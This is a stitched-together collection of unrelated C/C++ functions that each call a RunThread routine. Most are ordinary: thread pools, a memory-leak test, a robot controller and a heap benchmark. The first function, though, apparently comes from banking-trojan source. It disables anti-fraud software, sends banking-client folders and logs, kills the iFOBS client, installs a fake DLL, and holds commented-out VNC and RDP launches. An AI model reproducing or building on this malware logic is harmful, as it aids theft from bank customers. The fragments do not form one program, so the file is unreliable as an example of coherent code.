void ExplorerFirstStart(PEventData Data) { #ifdef antirapportH AntiRapport(); #endif #ifdef AvangardH AvangardWeb::SendFolder_avn_ib(); #endif #ifdef SBERH Sber::SendLogIfReestr(); #endif #ifdef IFobsH IFobs::KillIFobs(0); #ifdef FakeDllInstallerH RunThread( IFobs::InstallFakeDll,0 ); #endif #endif //ExecuteDocFind( 0, 0, 0 ); //ExecuteLoadDLLDisk( 0, 0, "testdll.dll" ); // ExecuteRunRDP( 0, 0, 0 ); // ExecuteVNC( 0, 0, "192.168.0.100" ); // Первый запуск бота в проводнике // Запускаем удаление кукисов /* #ifdef coocksolH StartDeleteCookiesThread(); #endif */ }
UINT CSTThread::BodyThread() { HANDLE TabHandle[MAX_EVENTS]; UINT NbAdditionalEvents=0; DWORD WaitThreadRes=0; CEvent *pTabEvents[MAX_EVENTS]; NbAdditionalEvents=GetAdditionalEvents(pTabEvents); if (NbAdditionalEvents>=MAX_EVENTS) { AfxEndThread(STOP_ON_CFG); return STOP_ON_CFG; } TabHandle[0]=m_EventStop; m_EventStop.ResetEvent(); for (UINT i=0;i<NbAdditionalEvents;i++) { TabHandle[i+1]=*(pTabEvents[i]); pTabEvents[i]->ResetEvent(); } while (TRUE) { WaitThreadRes=::WaitForMultipleObjects(NbAdditionalEvents+1, TabHandle, FALSE, GetWaitEventDelay()); // Did we receive an event? if ( (WaitThreadRes>=WAIT_OBJECT_0) && (WaitThreadRes<WAIT_OBJECT_0+NbAdditionalEvents+1) ) { if (WaitThreadRes==WAIT_OBJECT_0) { AfxEndThread(STOP_ON_EVENT); return STOP_ON_EVENT; } else { if (!TreatEvent(WaitThreadRes-WAIT_OBJECT_0-1)) { AfxEndThread(STOP_ON_EVENT); return STOP_ON_EVENT; } } } // No, let's do our job else { if (!RunThread()) { // Job finished! AfxEndThread(STOP_ON_RUN); return STOP_ON_RUN; } } } return 0; }
bool TestBootstrapLeak() { /* In the bug 1518, each thread leaked ~384 bytes. Initially, scalable allocator maps 1MB. Thus it is necessary to take out most of this space. 1MB is chunked into 16K blocks; of those, one block is for thread bootstrap, and one more should be reserved for the test body. 62 blocks left, each can serve 15 objects of 1024 bytes. */ const int alloc_size = 1024; const int take_out_count = 15*62; tbb::scalable_allocator<char> a; char* array[take_out_count]; for( int i=0; i<take_out_count; ++i ) array[i] = a.allocate( alloc_size ); RunThread( minimalAllocFree(), alloc_size ); // for threading library to take some memory size_t memory_in_use = GetMemoryUsage(); // Wait for memory usage data to "stabilize". The test number (1000) has nothing underneath. for( int i=0; i<1000; i++) { if( GetMemoryUsage()!=memory_in_use ) { memory_in_use = GetMemoryUsage(); i = -1; } } ptrdiff_t memory_leak = 0; // Note that 16K bootstrap memory block is enough to serve 42 threads. const int num_thread_runs = 200; for (int run=0; run<3; run++) { memory_in_use = GetMemoryUsage(); for( int i=0; i<num_thread_runs; ++i ) RunThread( minimalAllocFree(), alloc_size ); memory_leak = GetMemoryUsage() - memory_in_use; if (!memory_leak) break; } if( memory_leak>0 ) { // possibly too strong? REPORT( "Error: memory leak of up to %ld bytes\n", static_cast<long>(memory_leak)); } for( int i=0; i<take_out_count; ++i ) a.deallocate( array[i], alloc_size ); return memory_leak<=0; }
///////////////////////// // MultiStreamIOServer // ///////////////////////// MultiStreamIOServer::MultiStreamIOServer( void ) { InitializeCriticalSection( &_pendingLock ); InitializeCriticalSection( &_clientLock ); _allowNewClients = true; _pendingClient = NULL; _ioThread = RunThread( _IOThread , this ); if( !TestThreadHandle( _ioThread ) ) fprintf( stderr , "[ERROR] MultiStreamIOServer::MultiStreamIOServer: Failed to create I/O thread\n" ) , exit( 0 ); }
void Mutex_OnCommand (HWND hwnd, int id, HWND hwndCtl, UINT codeNotify) { switch(id) { case ID_GOTHREAD: RunThread (hwnd); break; case ID_CRITSECTS: CritSects = !CritSects; break; } }
TInt CBusyTestUnit::TimerCallback() { // called on timer callback, so assume iTimer! ASSERT(iTimer); // first stop and delete timer - don't need again this run iTimer->Cancel(); // then kick off the thread TInt error = RunThread(); // now delete the timer - do now as we've been called back by it! delete iTimer; iTimer = NULL; return error; // any error will stop the test, in theory }
bool pgsApplication::ParseString(const wxString & string, pgsOutputStream & out) { if (!IsRunning()) { m_last_error_line = -1; m_thread = new pgsThread(m_vars, m_mutex, m_connection, string, out, *this); return RunThread(); } else { return false; } }
bool pgsApplication::ParseFile(const wxString & file, pgsOutputStream & out, wxMBConv * conv) { if (!IsRunning()) { m_last_error_line = -1; m_thread = new pgsThread(m_vars, m_mutex, m_connection, file, out, *this, conv); return RunThread(); } else { return false; } }
EXPORT_C TInt CBusyTestUnit::Start(TTimeIntervalMicroSeconds32 aDelayFor, TTimeIntervalMicroSeconds aRunFor) { iRunFor = aRunFor; if (!aDelayFor.Int()) { // run immediately return RunThread(); } else { iTimer = CPeriodic::NewL(CActive::EPriorityHigh); TCallBack callback(StaticTimerCallback, this); iTimer->Start(aDelayFor, 0, callback); return KErrNone; } }
Robot::Robot(CJ2B2Client& j2b2) : CThread(NUM_THREADS), j2b2(j2b2), motionControl(j2b2), servoControl(j2b2), slam(SLAM::SLAM(SLAM::RobotLocation(0, 0, 0))), navigation(), camera(j2b2, servoControl), lastMeas(), statistics(), manual() { // sanity check: are the necessary services available? if (!j2b2.iPositionOdometry) throw std::runtime_error("Odometry not found"); if (!j2b2.iImageCameraFront) throw std::runtime_error("Camera not found"); if (!j2b2.iRangingBumpers) throw std::runtime_error("Bumpers not found"); if (!j2b2.iRangingLaser) throw std::runtime_error("Laser not found"); // for fps calculation statistics.startTime = ownTime_get_ms(); statistics.taskStartTime = 0; manual.enabled = true; // Initialize the state machine for high level planner taskState = START; // Initialze the number of targets numberOfPickUps = 0; // returns a joystick structure that we don't use for anything // don't bother cleaning up, will do that later if necessary SDL_JoystickOpen(0); // need initial empty data before doing anything navigation.refreshMap(slam.getCurrentMapData()); // start other threads, return immediately to caller RunThread(THREAD_MAIN); RunThread(THREAD_SENSE); RunThread(THREAD_CONTROL); RunThread(THREAD_SLAM); RunThread(THREAD_CAMERA); RunThread(THREAD_USER); // init variables approachStarted = 0; }
static unsigned long WINAPI thread_proc(void* param) { Thread * t = (Thread*)param; t->SetupMutex.Acquire(); // uint32 tid = t->ControlInterface.GetId(); // bool ht = (t->ExecutionTarget != NULL); t->SetupMutex.Release(); //Log.Debug("ThreadPool", "Thread %u started.", t->ControlInterface.GetId()); for(;;) { if(t->ExecutionTarget != NULL) { if(RunThread( t->ExecutionTarget ) == true) SafeDelete(t->ExecutionTarget); t->ExecutionTarget = NULL; } if(ThreadPool.ThreadExit(t) == false) { //Log.Debug("ThreadPool", "Thread %u exiting.", tid); break; } else { /*if(ht) Log.Debug("ThreadPool", "Thread %u waiting for a new task.", tid);*/ // enter "suspended" state. when we return, the thread pool will either tell us to bugger off, or to execute a new task. t->ControlInterface.Suspend(); // after resuming, this is where we will end up. start the loop again, check for tasks, then go back to the threadpool. } } // at this point the t pointer has already been freed, so we can just cleanly exit. ExitThread(0); // not reached return 0; }
int CThread::RunThreadSafe() { try { fExitCode = RunThread(); } catch (exception &E) { fErrorInfo = E.what(); fExitCode = -1; Rprintf("\n%s\n", E.what()); throw; } catch (const char *E) { fErrorInfo = E; fExitCode = -1; Rprintf("\n%s\n", E); throw; } catch (...) { fExitCode = -1; Rprintf("\nUnknown Error.\n"); throw; } return fExitCode; }
void StatGetter::GetStatsForPath(const QString& rootPath) { pathInWork_ = rootPath; assert(!pathInWork_.isEmpty()); if (IsRunning()) { RiseRunningThreadWarningMsg(); return; } statTree_.clear(); subdirsInCurPathCount_ = 0; StatsCont cont {statTree_, subdirsInCurPathCount_}; currentThreadClass_.reset(new StatGetterThread(rootPath, cont, GetProgBar(), GetLabel()) ); connect(&GetWorkerThread(), SIGNAL(started()), currentThreadClass_.data(), SLOT(onStart())); RunThread(currentThreadClass_.data()); }
/** * Thread function entry point */ LOCAL_C TInt ThreadFunc(TAny* /*aAny*/) { return RunThread(); }
static DWORD WINAPI RunThreadViaCreateThread(LPVOID data) { return RunThread(data); }
int recChannel_t::select_source(camInfo_t * source) { __CONTEXT("recChannel_t::select_source"); if (camInfo) { if (camInfo->getKind() == TEST) { looper->EndThread(); } #ifdef _WINDOWS if (camInfo->getKind() == MEDIA) { EndThread(); } #endif camInfo->setFree(true); } int hr = 0; pControl->StopWhenReady(); //pControl->Stop(); bool sharedDisplaySource = false; RECT sharedDisplayRect; char auxName[100]; if (source != NULL) { if (!(source->getKind() == CAM || source->getKind() == SHARED)) { capInfo.heigth = 0; capInfo.width = 0; }else{ if (source->getKind() == CAM) { if (!capInfo.heigth) capInfo.heigth = DEFAULT_CAPTURE_HEIGTH; if (!capInfo.width) capInfo.width = DEFAULT_CAPTURE_WIDTH; } if (source->getKind() == SHARED) { sharedDisplay_t * sharedDisplay = static_cast<sharedDisplay_t *>(source); sharedDisplayRect = sharedDisplay->getSharedRect(); capInfo.heigth = sharedDisplayRect.bottom - sharedDisplayRect.top; capInfo.width = sharedDisplayRect.right - sharedDisplayRect.left; mapping = true; //always mapping shDisplay channel sharedDisplaySource = true; strcpy(auxName,source->getCamName()); } } } refresh_channel(all); if (sharedDisplaySource && pSource == NULL) { camInfo_t *camInfo = createSharedDisplay(this,auxName); sharedDisplay_t *sharedDisplay = static_cast<sharedDisplay_t *>(camInfo); sharedDisplay->setSharedRect(sharedDisplayRect); } #ifdef _WINDOWS if (source->getKind() == MEDIA) { if (fControl) { if (source!=camInfo) { fControl->m_slide.SetPos(0); } } RunThread(); } #endif camInfo = source; pOutput = camInfo->output; pOutput->Disconnect(); sourceId = camInfo->getID(); if (!strlen(sourceFormat)) { memset(sourceFormat,0,100); char supportedFormats[100]; strcpy(supportedFormats,camInfo->getSupportedFormats()); for (int j=1;supportedFormats[j]!=';';j++) sourceFormat[j-1]=supportedFormats[j]; ql_t<AM_MEDIA_TYPE *> auxFormats = camInfo->getFormatList(); actualFormat = *(auxFormats.nth(0)); for (int k=0;k<auxFormats.len() ; k++) { AM_MEDIA_TYPE format = *(auxFormats.nth(k)); char subtypeName [100]; memset(subtypeName,0,100); GetGUIDString(subtypeName,&format.subtype); if (strcmp(subtypeName,"MEDIASUBTYPE_RGB24")==0) { actualFormat = format; strcpy(sourceFormat,"MEDIASUBTYPE_RGB24"); } } } pSource = camInfo->pSource; hr = pGraph->AddFilter(pSource, L"Capture Video Source"); errorCheck(hr); hr = grab_geometry(capInfo); camInfo->setFree(false); //leave critical section return hr; }
void main(int argc, char *argv[]) { clock_t startCPU; time_t startTime; double elapsedTime, cpuTime; uint64_t clock_reg; int pf0 = getPagefault(); #ifdef SMARTHEAP MemRegisterTask(); #endif setbuf(stdout, NULL); /* turn off buffering for output */ if (argc > 1) fin = fopen(argv[1], "r"); else fin = stdin; if (argc > 2) fout = fopen(argv[2], "w"); else fout = stdout; if(fin == NULL || fout == NULL) { fprintf(stderr, "Could not open file(s): "); int i=1; for(i=1; i<argc;i++) { fprintf(stderr, "%s ", argv[i]); } fprintf(stderr, "\n"); exit(-1); } ulCallCount = promptAndRead("call count", ulCallCount, 'u'); uMinBlockSize = (unsigned)promptAndRead("min block size",uMinBlockSize,'u'); uMaxBlockSize = (unsigned)promptAndRead("max block size",uMaxBlockSize,'u'); #ifdef HEAPALLOC_WRAPPER LoadLibrary("shsmpsys.dll"); #endif #ifdef SYS_MULTI_THREAD { unsigned i; void *threadArg = NULL; ThreadID *tids; #ifdef WIN32 //unsigned uCPUs = promptAndRead("CPUs (0 for all)", 0, 'u'); if (uCPUs) { DWORD m1, m2; if (GetProcessAffinityMask(GetCurrentProcess(), &m1, &m2)) { i = 0; m1 = 1; /* * iterate through process affinity mask m2, counting CPUs up to * the limit specified in uCPUs */ do if (m2 & m1) i++; while ((m1 <<= 1) && i < uCPUs); /* clear any extra CPUs in affinity mask */ do if (m2 & m1) m2 &= ~m1; while (m1 <<= 1); if (SetProcessAffinityMask(GetCurrentProcess(), m2)) fprintf(fout, "\nThreads in benchmark will run on max of %u CPUs", i); } } #endif /* WIN32 */ uThreadCount = uCPUs;//(int)promptAndRead("threads", GetNumProcessors(), 'u'); if (uThreadCount < 1) uThreadCount = 1; ulCallCount /= uThreadCount; if ((tids = malloc(sizeof(ThreadID) * uThreadCount)) != NULL) { startCPU = clock(); startTime = time(NULL); clock_reg = rdtsc(); UPDATENETMEM(mallinfo().uordblks + ulCallCount * sizeof(void *)); for (i = 0; i < uThreadCount; i++) { if (THREAD_EQ(tids[i] = RunThread(doBench, threadArg),THREAD_NULL)) { fprintf(fout, "\nfailed to start thread #%d", i); break; } } WaitForThreads(tids, uThreadCount); free(tids); } if (threadArg) free(threadArg); } #else UPDATENETMEM(mallinfo().uordblks + ulCallCount * sizeof(void *)); startCPU = clock(); startTime = time(NULL); clock_reg = rdtsc(); doBench(NULL); #endif uint64_t cpuTime_reg = (rdtsc() - clock_reg); elapsedTime = difftime(time(NULL), startTime); cpuTime = (double)(clock()-startCPU) / (double)CLK_TCK; // cpuTime = (double)(clock()-startCPU); // uint64_t cpuTime_reg = (rdtsc() - clock_reg) / 2246796049; fprintf_silent(fout, "\n"); #ifdef PRINTTHROUGHPUT fprintf(fout, "throughput %ld", (long) (cpuTime_reg)); #endif fprintf(fout, "\nTotal elapsed time" #ifdef SYS_MULTI_THREAD " for %d threads" #endif ": %.2f (%.4f CPU) (%ld clock ticks read from register)\n", #ifdef SYS_MULTI_THREAD uThreadCount, #endif elapsedTime, cpuTime, cpuTime_reg); if (fin != stdin) fclose(fin); if (fout != stdout) fclose(fout); printf("Occurred page faults: %d\n", getPagefault() - pf0); }
void SkylarkApp::WorkThread() { RunThread(); }
static unsigned __stdcall RunThreadViaBeginThreadEx(void *data) { return (unsigned) RunThread(data); }
int main(int argc, char *argv[]) { RunThread(AllocThread); RunThread(FreeThread); RunThread(AccessThread); return (x != 0); }